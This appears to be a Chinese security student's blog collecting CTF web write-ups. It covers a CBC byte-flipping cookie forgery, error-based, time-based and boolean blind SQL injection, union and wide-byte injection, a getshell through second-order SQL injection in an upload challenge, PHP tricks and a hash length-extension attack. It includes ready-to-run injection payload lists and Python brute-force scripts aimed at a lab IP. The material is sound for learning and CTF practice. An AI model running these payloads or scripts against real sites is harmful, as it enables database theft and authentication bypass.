Iuhrey

一个常年被吊打的Web手 一个唱歌不好指弹垃圾的吉他手

CBC字节反转攻击

前言

最近在比赛中遇到了一道挺有意思的题目,密码学和web的结合让我学到了很多不错的知识,之前也有类似的题目,例如上次的Hash长度拓展攻击,这一次的是CBC字节反转攻击,和它有着异曲同工之妙。

CBC加解密原理


这是CBC模式加密的流程图,这种加密模式和Hash加密是相似的,都是前一部分加密的字符用于后一部分加密,具体流程是初始生成一个IV值,然后把字符按照16字节为一个单位进行分组(不足时用特殊字符填充)和IV值进行异或处理,得到的字符串使用密钥进行加密,然后把加密后的字符作为下一步的IV值,重复操作直到所有字符串加密完成。

解密的过程就不多说了。

异或

异或操作(Xor)是对二进制数据进行的运算操作,是一个数学运算符。它应用于逻辑运算。异或的数学符号为“⊕”,计算机符号为“xor”。其运算法则为:
a⊕b = (¬a ∧ b) ∨ (a ∧¬b)
如果a、b两个值不相同,则异或结果为1。如果a、b两个值相同,异或结果为0。例如A=10010100,B=00100111。那么A Xor B =01001100。如果C = A Xor B ,那么A Xor B Xor C =0并且其中两个异或,都能得到第三者。

如何利用


这是大手子原理利用的图,这里可以注意到前一块Ciphertext用来产生下一块明文,如果我们改变前一块Ciphertext中的一个字节,然后和下一块解密后的密文xor,就可以得到一个不同的明文,而这个明文是我们可以控制的。利用这一点,我们就欺骗服务端或者绕过过滤器。基本的理论都讲完了,那么从题目中来理解如何利用的。
这是ISCC上的一道题目,打开题目地址,有点类似注入的题目,但是f12过后发现题目给出了源码。打开index.txt发现源码。
我们来理一理这些代码是如何执行的,首先是登入的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 if (isset($_POST['username'])&&isset($_POST['password'])) {
$username=waf((string)$_POST['username']);
$password=waf((string)$_POST['password']);
if($username === 'admin'){
exit('<p>You are not real admin!</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}
else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}
}
?>

如果我们输入了username和password那么页面会先把username转化为字符串形式,这里是为了防止我们通过数组形式来绕过下面的username=admin,再waf过滤,这里我们的sql注入是不太可行的。如果我们输入的username为admin那么页面回显错误信息然后直接退出,不为admin那么接着调用了login()以及show_homepage()函数,如果我们通过其他方式给username赋值了,那么跳到check_login()和show_homepage()两个函数上。那我们接着来看这些函数。
login()

1
2
3
4
5
6
7
8
function login($info){
$iv=get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

show_homepage()

1
2
3
4
5
6
7
8
9
10
11
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is *************</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
die();
}

整体来说就是,先把我们输入进去的username和password序列化,然后把username的值赋给$_SESSION[“username”],如果为admin,那么输出flag,如果不为admin,则提示只有admin才能看flag。
如果按照上述常规的操作进行登入,那肯定是不行的,这里有一个矛盾,如果我们传入username为admin那么会提示我们You are not real admin!,但是我们不传入admin,那么就会提示我们只用admin才能看flag。所以我们需要考虑如何来绕过。所以接着看另一条路的函数
check_login

1
2
3
4
5
6
7
8
9
10
11
12
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

这里我们是在没有传入username和password之后所调用的,这里我们需要通过cookies传入一个iv值和一个cipher值,然后cipher经过各种解密,反序列化后把username赋给$_SESSION[‘username’]然后进行身份的验证。
分析了源码发现两种登入方式独立开来并没有什么可以利用的东西,但是如果我们把两种方式结合起来,在他们中间那段可进行人为操作的过程中更改数据,那么是可以做到移花接木的。

具体操作

1 传参抓包
把username和password传参过去,注意username不能为admin。

2 更改数据
我们这个时候得到了密文和初始的iv值,那么可以通过cbc反转字节攻击来更改我们之前的数据。那么如何利用CBC反转字节呢?
我们已知了加密后的文本,以及明文,那我们可以来修改原来的字符串。
cipher

1
gEc6%2BRRLjY0Bf51gQLMCB1a%2F9wD2106%2BeTzmU%2Baum9Xfin%2BlY%2FF9FfcoPd7%2Buls1Q9sOQJ4zfbnen6c5cxFLcQ%3D%3D

进行处理后变为

1
�G:�K���`@�V����N�y<�S殛�ߊ�c�}�(=���[5C�@�3}�ޟ�9sKq

所对应的明文
为了便于理解,我们直接以16字节为一块分开。这是反序列化后的明文。
s:2:{s:8:”userna
me”;s:5:”xdmin”;
s:8:”password”;s
:3:”123”;}
接下来就是把对应的位置进行更改。
假设我们更改的明文为A
IV值对应的是B
密文为C
如果我们构造 C Xor A Xor “我们所需的字符”,那是不是就变成了A Xor B Xor A Xor “我们所需的字符”了?这不就等于B Xor “我们所需的字符”了吗?所以我们可以直接利用这个攻击来更改我们的字符。这里直接用大手子的脚本跑把吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#coding=utf-8
import base64
import requests
import urllib
iv_raw='bR1nkWOLhxJ4rKGJMBF36w%3D%3D' #这里填写第一次返回的iv值
cipher_raw='gEc6%2BRRLjY0Bf51gQLMCB1a%2F9wD2106%2BeTzmU%2Baum9Xfin%2BlY%2FF9FfcoPd7%2Buls1Q9sOQJ4zfbnen6c5cxFLcQ%3D%3D' #这里填写第一次返回的cipher值
print "[*]原始iv和cipher"
print "iv_raw: " + iv_raw
print "cipher_raw: " + cipher_raw
print "[*]对cipher解码,进行反转"
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"xdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"xdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('x') ^ ord('a')) + cipher[10:] #请根据你的输入自行更改,原理看上面的介绍
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print "反转后的cipher:" + xor_cipher

3 传新参
注意这个时候我们就不能把username和password传参过去了,把我们所得到的cipher值和初始的iv值给传过去。

4 修复所更改的数据块
这个时候发现我们传的cipher无法正常反序列化,这个时候我们就需要更改iv值来使得cipher能够正常反序列化,原理和上述一致,脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
#coding=utf-8
import base64
import urllib
cipher = 'EK9/OgEKt1XNxlpRcDv8+21lIjtzOjU6IntkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6IjEyMyI7fQ=='#填写提交后所得的无法反序列化密文
iv = 'bR1nkWOLhxJ4rKGJMBF36w%3D%3D'#一开始提交的iv
#cipher = urllib.unquote(cipher)
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
newIv = ''
right = 'a:2:{s:8:"userna'#被损坏前正确的明文
for i in range(16):
newIv += chr(ord(right[i])^ord(cipher[i])^ord(iv[i])) #这一步相当于把原来iv中不匹配的部分修改过来
print urllib.quote(base64.b64encode(newIv))

5 再一次传参
把新得到的iv值传入,得到flag

sql注入之报错注入

报错注入

报错注入是在有返回错误信息的情况下尝试使用的一种注入方式,一般是在使用延时注入之前考虑的,之所以最后归纳是因为它的注入语句实在是太过冗长,而且并没有什么逻辑规律可言,理解起来十分困难。
报错注入可以主要可以分为以下几种方式:
floor函数报错
UpdateXml函数报错
extractvalue函数报错
后两种方式具有一定的局限性,报错查询的内容长度最长为32位。

floor()报错

在如何使用floor()报错注入的时候,应该先理解报错注入语句的意义。主要用到以下几个函数:
floor():向下取整
rand():生成随机数
count():统计结果
简单来说就是在查询的时候让其rand()产生不确定的数在使用order by排序时产生报错来返回信息。
具体参考这篇文章
我就直接给出语句:

1 数据库 and (select 1 from(select count(),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+
2 库名 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+
3 表名 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=数据库名 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+
4 列名 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=表名 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+
5 字段 and (select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,列名,0x3a,列名,0x23) FROM 表名 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a) –+

至于其他的语句自己慢慢测试,语句不限这一种,报错注入的成因并不是语句顺序的问题而是在于其逻辑。

Updataxml报错

并没有深入学习Mysql语句,所以对Updataxml()这个函数也是不太了解的,直接贴出具体的报错注入语句吧。。。

1 数据库 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) –+
2 库名 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM information_schema.schemata limit 0,1),0x7e),1) –+
3 表名 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM information_schema.tables where table_schema=库名 limit 0,1),0x7e),1) –+
4 列名 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM information_schema.columns where table_name=表名 limit 0,1),0x7e),1) –+
5 字段 and updataxml(1,concat(0x7e,(select group_concat(列名) from 表名),0x7e),1) –+

Extractvalue报错

这个函数的原理和上个函数差不多,具体格式如下

and extractvalue(1, concat(0x7e, (select database()),0x7e)) –+

其他的和上面类似,一一对照就行了。

sql注入的内容还远远没有完结,之后会在题目中给出一些其他的注入方式,以及知识。

sql注入之时间盲注

时间盲注

上一种注入方式是在虽然没有回显位,但是正确错误的页面有所不同的,那如果正确页面和错误页面都相同呢?我们这是可以使用第二种注入–延时注入来判断我们所要的信息。
主要用到的是sleep()函数如果前面的语句为真,那么sleep()就会调用,页面回显就会有延迟,不过缺点也很明显,如果网络不好的话,报错注入就会出现误报的情况。
一般我们使用

if(,1,2)
case when() then else end

这两个条件语句来进行逻辑判断
下面这是一个例子

这个网站现在什么都不显示,但是我们可以试试sleep()是否有用。

发现响应时间过长,sleep函数起了作用,接下来我们就可以试着去爆破了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding=utf-8
import string
import time
import requests
database = ""
for i in range(1,20):
stime = time.time()
url = "http://47.94.13.75/edu/payload/sql/time.php?id=1' and case when(select length(database()) = %d) then sleep(10) else sleep(0) end --+" %(i)
r1 = requests.get(url)
if time.time() - stime > 10:
length = i
break
print length
for i in range(1,length+1):
for j in range(65,123):
stime = time.time()
url2 = "http://47.94.13.75/edu/payload/sql/time.php?id=1' and case when((select ascii(substr(database(),%d,1)))= %d) then sleep(10) else sleep(0) end --+"%(i,j)
r2 = requests.get(url2)
if time.time() - stime > 10:
database = database + chr(j)
break
print database
print database

爆破出数据库名。接下来的几个语句

1
2
' and case when(ascii(substr((select table_name from information_schema.tables where table_schema="edutest" limit 0,1),1,1)) = 65) then sleep(10) else sleep(0) end --+"
........

之后和上一次的脚本类似,理解一下自己就能去试试爆破出信息来了。

写在最后

无力感,什么都做不好,什么都比不过人家,没实力又太骄傲,我可真是个废物。浮躁浮躁,一天都不知道在干些什么,真是糟糕透了。重新学吧,起码要在大二前,拿出一点成绩。

sql注入之布尔型注入

布尔型注入

在过滤了union,仅存select这个关键词的时候,或者是返回并没有显示位时,那我们应该如何使用别的查询语句来查询我们所要的信息呢?或者是我们无法看到之前我们需要的回显位了,那么这个时候我们可以考虑第一种思路—-布尔型注入
简而言之,布尔型注入就是判断你查询的语句是否为真,再通过夹逼的方式确定那个值是什么。这就需要用到几个函数了。
exists():用于检查子查询是否有返回数据。结果是ture或者false
ascii():把字符转化成ascii码
substr():substr(string string,num start,num length)截断一部分字符串,偏移从1开始,并不是0
count():记录出现的次数
接下来在实例中讲解一下布尔型注入的基本思路

这里可以试试我们的联合查询是否可以得到我们想要的结果在这里发现并不行,根本没有回显位,所以联合查询的方式肯定是不行的。所以我们考虑使用布尔型注入来试试。试了一个最基本的判断。

http://47.94.13.75/edu/payload/sql/bool.php?id=1%27%20and%20%28select%20length%28database%28%29%29%3E1%29%20--+

这时发现回显正常页面说明,我们可以判断数据库的第一个字符的ascii码>1,虽然这没什么实际的意义,但是它提示了我们可以使用布尔型注入来试出数据库的名称。直接用脚本跑吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#coding=utf-8  
import string
import requests
database = ""
for i in range(1,10):
url = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and (select(length(database())>%d)) --+" % (i)
r1 = requests.get(url)
if "you are in ....." not in r1.content:
length = i
break
for i in range(1,length+1):
for j in range(65,123):
url2 = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and (select ascii(substr(database(),%d,1))>%d) --+" %(i,j)
r2 = requests.get(url2)
if "you are in ....." not in r2.content:
database = database + chr(j)
break
length = length + 1
print database

跑出数据库名称为edutest,然后接着下一步去查询表名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding=utf-8
import string
import requests
tb = ""
tablename = []
for i in range(1,10):
url = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and ((select count(table_name) from information_schema.tables where table_schema=0x65647574657374 ) > %d) --+" % (i)
r1 = requests.get(url)
if "you are in ....." not in r1.content:
number = i
break
print number #数据库数量
for i in range(0,number):
for j in range(1,20):
url2 = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and ((select length(table_name) from information_schema.tables where table_schema=0x65647574657374 limit %d,1) > %d) --+" % (i,j)
r2 = requests.get(url2)
if "you are in ....." not in r2.content:
length = j
break
for k in range(1,length+1):
for m in range(65,123):
url3 = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and ((select ascii(substr(table_name,%d,1)) from information_schema.tables where table_schema=0x65647574657374 limit %d,1) > %d) --+" %(k ,i ,m)
r3 = requests.get(url3)
if "you are in ....." not in r3.content:
tb = tb + chr(m)
break
tablename.append(tb)
tb = "" #清除前面的字符串
print tablename

得到以下四个数据库的表名

[‘admin_logs’, ‘admins’, ‘facebook’, ‘message’]

接着继续爆破列名,以admin_logs为例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding=utf-8
import string
import requests
cl = ""
columnname = []
for i in range(1,10):
url = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and ((select count(column_name) from information_schema.columns where table_name=0x61646d696e5f6c6f6773 ) > %d) --+" % (i)
r1 = requests.get(url)
if "you are in ....." not in r1.content:
number = i
break
print number #列数
for i in range(0,number):
for j in range(1,20):
url2 = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and ((select length(column_name) from information_schema.columns where table_name=0x61646d696e5f6c6f6773 limit %d,1) > %d) --+" % (i,j)
r2 = requests.get(url2)
if "you are in ....." not in r2.content:
length = j
break
for k in range(1,length+1):
for m in range(65,123):
url3 = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and ((select ascii(substr(column_name,%d,1)) from information_schema.columns where table_name=0x61646d696e5f6c6f6773 limit %d,1) > %d) --+" %(k ,i ,m)
r3 = requests.get(url3)
if "you are in ....." not in r3.content:
cl = cl + chr(m)
break
columnname.append(cl)
cl = "" #清除前面的字符串
print columnname

我们爆破得出下面这几个列名

[‘id’, ‘admin’, ‘ip’, ‘addtime’]

接着直接查询字段内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#coding=utf-8
import string
import requests
adminname = []
adm = ""
for i in range(99,105): #我测试了一下发现admin有100000个以上,所以在这里就直接爆破第99到104个
for j in range(1,20):
url = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and (length((select admin from admin_logs limit %d,1)) > %d) --+" %(i,j)
r1 = requests.get(url)
if "you are in ....." not in r1.content:
length = j
break
for k in range(1,length+1):
for m in range(65,123): #测试了一下不仅仅是A之后的字符
url2 = "http://47.94.13.75/edu/payload/sql/bool.php?id=1' and (select ascii(substr((select admin from admin_logs limit %d,1),%d,1)) > %d) --+" %(i,k,m)
r2 = requests.get(url2)
if "you are in ....." not in r2.content:
adm = adm + chr(m)
break
adminname.append(adm)
adm = ""
print adminname

爆破出用户名

[‘fgd’, ‘Artgr’, ‘das’, ‘dddddddddddd’, ‘AAAAAA’, ‘vAdcvAcv’]

这是最基本的流程,在一些细节的地方还需要多多去尝试,bypass的手段还需要练习。

关于sql注入的一些学习心得

写在前面

说实话,很久以前就有着想归纳sql注入的冲动了,但是自己的实力不够,对mysql不太了解,对于一些sql注入的题目也是一知半解,久而久之就开始对sql注入产生了逃避以及厌恶之情,最近慢慢的才发现,不会sql注入那和我吉他不会大横按一样,所以我最近恶补了一些sql注入方面的知识,写在这里一方面是为了分享一下自己的学习心得,另一方面,则是为我自己做个笔记。

sql基础知识

初入sql注入呢,我们需要了解一下我们进行sql注入的目的是什么,以及如何使用sql注入来达到我们需要得到的效果。
sql注入是我们通过我们自己可控的输入恶意的插入一些代码执行语句来使得源代码错误的执行我们的语句从而反馈给我们一些有用的信息。sql注入主要的原因是因为在使用php与mysql进行交互的时候,代码写得不严谨或是过滤不太完整。
那如何通过sql注入的注入点来读取数据库的一些信息呢?目前主要接触到的有以下几种注入:
1 get形注入,我们在测试的时候,关注一下网站的url如何出现了形如:

www.xxxxxx.xxx/?id=x

这时我们就可以考虑sql注入了。
2 post形注入,如果网站直接给你一个输入框那可以考虑考虑post形的注入
3 cookies注入,这一种主要是通过抓包观察cookies的一些规律,如果出现一些特殊的cookies类型那可以考虑试试构造sql语句的cookies来进行注入
4 其他类型的注入,比如在headers里面的一些参数可以进行注入,通过x-forwarded-for构造ip来进行注入

sql注入的基础函数

user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
@@vasedir:mysql安装路径
@@version_compile_os:操作系统
concat():连接一个或者多个字符串
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据
length():返回字符串的长度
substr():截取字符串
mid():截取字符串
ascii():返回字符的ascii码
sleep(): 函数延迟代码执行若干秒

sql注入的基础语句

1 万能语句

‘ or ‘1’=’1 #
admin’) #

类似这种短小的语句是在sql注入前先试试的,不过绝大部分的网站是不可能有这种注入给我们利用的。只可能在做题里面用到。
2 union语句

union select * from where

这是我们最基本的一种查询语句。一般这种注入方式叫做联合查询注入方式。
ps 我也只会知道这两种,其他的会后续补上。

sql注入基本流程

1 首先自然是观察哪里可能存在注入点,上述我们提到的四种可能存在注入的地方需要特别注意,接下来以get形式注入为例子进行操作。
2 碰到像这种应该测试一下是什么类型的注入

xxxx/?id=1

我们可以这样来判断这是什么类型

xxxx/?id=1 and 1=1
xxxx/?id=1 and 1=2

如果第一次返回正常,第二次返回错误,或者不返回,那么可以判断这是数字型的注入,那如两次都是错误那就可以判断是字符型注入了,这只是一种区分方式,感兴趣可以去百度一波。区分不同类型对我们注入是有所帮助的。
3 如果判断为了字符型注入,那么我们接下去查询它的列数,如果我们后面查询的列数与数据库的列数不同,那么是无法正常显示我们查询的东西的。一般具体的查询我们是通过order by来查询的。

xxxx/?id=1’ order by x –+

这样一直试,知道可以判断x为止。然后再判断其显示位

xxxx/?id=-1’ union select 1,2…,x –+

注意id我们需要赋一个数据库不存在的值,这样才能显示我们要查的内容,不然的话,原来的数据可能会覆盖掉我们查询的内容。此刻回显的数字即为显示位。
4 这个时候我们就可以利用显示位和联合查询来依次爆破数据库名,表名,列名,字段了(以2为显示位)。

xxxx/?id=-1’ union select 1,database()….. –+ 或者 union select 1,schema_name… from information_schema.schemata –+
xxxx/?id=-1’ union select 1,table_name… from information_schema.tables where table_schema=’库名’ –+
xxxx/?id=-1’ union select 1,column_name… from information_schema.columns where table_name=’表名’ –+
xxxx/?id=-1’ union select 1,列名… from 表名 –+

由于在查询的时候会有很多表名列名,但是返回的数据只有一条,那我们怎么办呢?
第一我们可以使用limit m,1这个语句,作用是限制查询为第m+1条数据,我们可以通过多次查询出所有结果,或者还可以使用limit n offset m,这个语句则是查询第m条数据之后的n条数据。
第二我们可以使用concat(),以及group_concat()或是concat_ws()函数来把所查询的内容连接成字符串输出。

这些都是最基本的操作,如果在某些题目中出现过滤某些关键词的话,我们可以考虑通过绕过来注入,这是借鉴大师傅bypass的一些思路的地址:http://www.cnblogs.com/joy-nick/p/5774462.html

接下来是一些过滤了关键词但是可以注入的其他方式。

宽字节注入

在某些加了转义的sql语句中,我们无法通过’或是”闭合语句来达到我们的目的,但是如果网站使用了GBK编码的话,我们是可以通过

%df%27

来构造一个’闭合语句的,因为GBK编码是双字节编码,也就是说,如果我们构造了与%5c相关的编码,那么前两个编码会被识别为一个字符也就是汉字,然后我们的%27就被独立了出来,这是一个实例这样就成功绕过了转义语句构造出了我们需要的’
接着跟着流程走就行了,但是值得注意的一点是在后面这句查询语句where table_schema=’表名’应该使用where table_schema =数据库十六进制来代替。

初试Getshell

文件管理系统

在很久很久以前就想日站了,奈何自己的动力不足,一拖再拖导致现在的水平和其他人差距拉开太大了,不过庆幸的是在塔主的带领下,终于开始踏入了神秘的Getshell领域了。Getshell主要的手段就是上传文件,里面的文件需要具备这几个特点:。根据塔主的提示,一般文件上传漏洞的思路如下: 要深入理解也只能实际操作才能得到效果。
第一天的网站:http://202.98.28.108:10014/2sdrewe4543sd/
在给了网站的同时,网站的源码也给了出来。这个就有点白盒审计的味道了。然后还给了一个hint,flag在SERVER_ADMIN下,也就是说我们传上一个包含phpinfo()函数的php文件然后让服务器解析执行就能得到flag了。
首先打开网址毕竟是个给我们做题的网站,所以自然是有点简陋的了。观察网站发现有这么几个功能。
第一个是上传文件的功能,根据提示应该是只能上传图片文件,也就是说后缀名只能是jpg,png等等。的确在后面代码审计upload.php的时候发现了这个网站通过白名单验证限制了用户上传文件的类型

接着看看rename的功能

给出两个文本框一个要更名的文件名,一个更名后新的文件名,值得注意的是这里只是单纯的更改前面的文件名而已,并不能更改文件的后缀名,也就是说我们没办法通过把1.txt改成1.php来绕过Getshell。另一个删除功能并没有什么卵用,当然有用我也不会用。。。。
接下来查看源码看看用没有什么可以利用的东西。首先审计基础配置的文件—common.inc.php文件,一个主要的注意点由于加了addslashes()函数那么在参数方面注入是不太可能的(宽字节注入另当别论)所以可以考虑其他的方向。
审计一波主要的upload.php函数,发现有以下几个值得注意的地方这里使用了白名单过滤,上面提过就不再提了,另外值得注意的地方是文件储存的方式,网站使用了两个数组来分别储存文件名和它所对应的后缀名。这就导致了我们无法通过00截断来绕过。而且这里也使用了addslashes()函数通过文件名来进行注入也是不可能的。
不过这个网站真的没用可以利用的地方了吗?这是不太可能的,接着往下看这里是存在注入漏洞的,在更新插入的时候我们可以构造一个类似的语句来达到一些不可告人的目的。
接下来看看rename.php这个文件,这个文件是我们Getshell的关键这里是从数据库中直接查询调用出来并没有经过什么过滤了,所以我们可以利用更新的语句进行二次注入。这一段代码给我们提供了一个我们无法更改后缀名的信息,综合这以上的代码,可以分析出以下思路:
第一,我们需要上传一个php的文件让服务器解析,但是php的文件后缀名并不在白名单里面,所以问题简化为如何绕过过滤来达到我们想要的效果。
所以,我们需要使得我们一开始上传的图片类型文件更改为.php的文件,但是在更名文件里面,文件名和后缀名分开独立,我们无法达到更改后缀名的效果,那怎么办呢?其实还是有利用的地方的,还记得上面这个更新语句吗?如果我们一开始上传的文件名是一个注入语句,那么我们是可以利用这一点把文件的后缀名更改为空的,然后更新文件名为我们的木马,那就可以通过后缀名为空来更改我们上传木马的后缀。
我们需要两个文件,一个文件的文件名是我们注入语句的文件名也就是‘,extension=’’,filename=’1000.jpg.jpg通过这个语句插进更新语句那就是这种效果:

update `file` set `filename`='1000.jpg', `oldname`='',extension='',filename='1000.jpg' where `fid`={$result['fid']}  

也就是说我们已经更新了数据库,有了一个1000.jpg.空的文件了,这样我们随意取一个名字,只要不和我们上传的重名例如250.jpg那就是说我们之前的文件上传为了250.jpg.jpg
那我们之前不是插入了一个1000.jpg.空的文件吗,这行代码有一点干扰在查询的时候数据库需要一个1000.jpg的文件,也就是说我们需要再上传一个1000.jpg的文件,在这个文件里写入我们的phpinfo()函数,再通过rename功能把我们的1000.jpg.空改为1000.php.空,此时解析的就是1000.php也就是说成功解析了我们上传的shell文件,打开http://202.98.28.108:10014/2sdrewe4543sd/upload/1000.php就可以读出这个网站php的版本以及我们flag的信息了。
总体来说,这一次的Getshell让我学到了很多东西,一些基本的思路在之后会用挺大用处的,特别是一个bypass的思想,这个在之后做渗透测试的时候会很有帮助,希望能坚持下去,学习到更多的东西。

0x05 在蓝鲸打卡所学到的基本操作(Web篇)

#神奇的php在CTF中的各种花式操作
总所周知,php是一门强大的脚本语言,主要用于后端开发,在Web方面主要是作为网页与数据库交互的桥梁,也就是说,后端人员通过php来处理表单提供的数据来与数据库匹配,然后决定下一步的操作,也可以作为用户使用网站储存文件的钥匙,不过这一般都是攻击者用来盗取网站信息的工具,这也侧面说明php的功能十分的强大,用好了就可以对网站为所欲为。今天主要归纳几道涉及到PHP的题目。

变量覆盖

在我们所学的编程语言中,例如C,C++,Java等语言,如果我们需要使用一个变量,必须先定义这个变量,而在一些高级语言也就是PHP,Python等语言中是可以不必定义变量的,也就是说我们可以不必定义一个变量(也就是先初始化)直接赋值。方便之余也带了一些潜在的危害。
在网络交互时使用PHP时,即使没有$x=$_Get[‘x’]这个语句我们依旧可以通过get传参这个变量名从而覆盖原变量的值。具体一些函数例如Extract(),$$使用不当之类引起的变量覆盖问题就不细谈了,直接看实例吧:

分析所得到的源代码,发现要求我们通过file_get_contents()函数输入一个文件,这个通过php://input这个函数通过POST数据来进行赋值,所以题目Payload为

?vs=s878926199a&Ff=php://input

然后把s214587387aPOST传参给Ff完成使得两者相等得到Flag。

php应用太广了,所以,未完待续。。。。。。。。。。。。

0x04 在蓝鲸打卡所学到的基本操作(Web篇)

Hash长度拓展攻击

今天来归纳一波比较难理解的Hash长度拓展攻击。
首先在了解如何攻击之前,先理解一下sha1是如何进行加密的:
我第一次看到这个流程图的时候也是一脸懵逼,这对于一个密码学刚刚入门的人来说真的是太难了,花了很久的时间我才明白这个的原理:
首先是处理输入的字符串,如果输入的字符串字节数(注意!是字节数!)除余64是56,那么在后8位填充长度描述符具体用bit表示(这里字节的长度要用16进制来表示,前后颠倒之后再填充进去,也是常说的小端储存),如果除余之后不是56,那么会自动填充一个\x80和N个\x00知道余数为56,然后加上后八位的长度描述符,可以分成多少组64位就进行多少次的复杂操作,具体的算法就不细说了。
在处理的时候,会根据四组确定值的初始值(也称初始向量IV值)来计算这一轮的sha1值,然后再根据计算出的sha1值来替代初始的那四组值,再进行下一轮的计算,如果最终生成64位的sha1值那么这个就作为最终的sha1值输出。
接下来就是如何利用这个机制了,我们只需要知道如下几个条件就可以进行攻击了:
第一步,把我们知道的salt和message经过sha1之后的值拆分为四组,每一组分别把前后的值颠倒,作为即将加密的IV值。
第二步,打开计算MD5的脚本,把初始向量IV值更改为上一步得到的IV值,输入message,填充至56位,然后再加上长度描述符,最后加上要拓展攻击的字符,运行脚本,输出的结果就为salt+拓展攻击的md5值。
这里是MD5pad.py的脚本,集合了上述两步直接出结果。具体用法参照下文。
现在来实战看看:

题目的意思就是让你传入两个变量的值,role和hash,使得hash的值是salt加上你输入role的MD5,具体操作如下:随后把role和hash的值post一下就行了。
这一道是实验吧的题目:
抓包把可疑参数source改为1,就得到了如图所示的内容:分析代码不难看出要构造一个getmein参数和salt加username和password的MD5值相等,用脚本跑一下就出来了。把参数一一对应post过去即可。

0x03 在蓝鲸打卡所学到的基本操作(Web篇)

##Web题目由于知识太过杂乱就不按照时间顺序来归纳了

等量登入

这一次的题目是关于Hash函数漏洞的,计算hash的函数比如md5(),sha1()这两种是最为常见也是在代码审计中容易考到的。由于函数本身的缺陷以及在比较变量时候的不严谨,所以可以被大手子们上演各种花式操作来绕过。
弱类型比较:

强类型比较:

在代码审计中,碰到MD5()函数类型的比较就可以考虑0e开头的MD5值来进行构造,在碰到sha1()函数则可以考虑用数组的方式来进行构造,总的来说,理解函数的用法再来使用这个漏洞就行了。

0x02 在蓝鲸打卡所学到的基本操作(Crypto篇)

Day 4 Playfair

第四天是一种新的加密方式,通过替代的方式,将原来的字符串转换成新的字符串。这种替代的加密方式有点和凯撒密码相似,但又有所差别。以下演示加密的过程:


这一种加密方式通过增加替换元素的种类,来达到提升复杂度的目的是十分用的,而且这对于双方加密的来说是十分的公平,也就是对称加密方式。不同于上一篇所说的RSA加密,Playfair加密是十分对称的,你怎么加密的,我就怎么还原回去。

Day 5 UTF-9

这一天的题目绕的弯的确是有点多,跌跌撞撞做完我归纳了下:
首先是转码问题,上一篇中提到过一个打开文本非正常显示的问题,这次属于乱码问题,题目提示了UTF-9自然而然就是去把编码修改一下,用python的utf-9库修改一下就变成了这个:

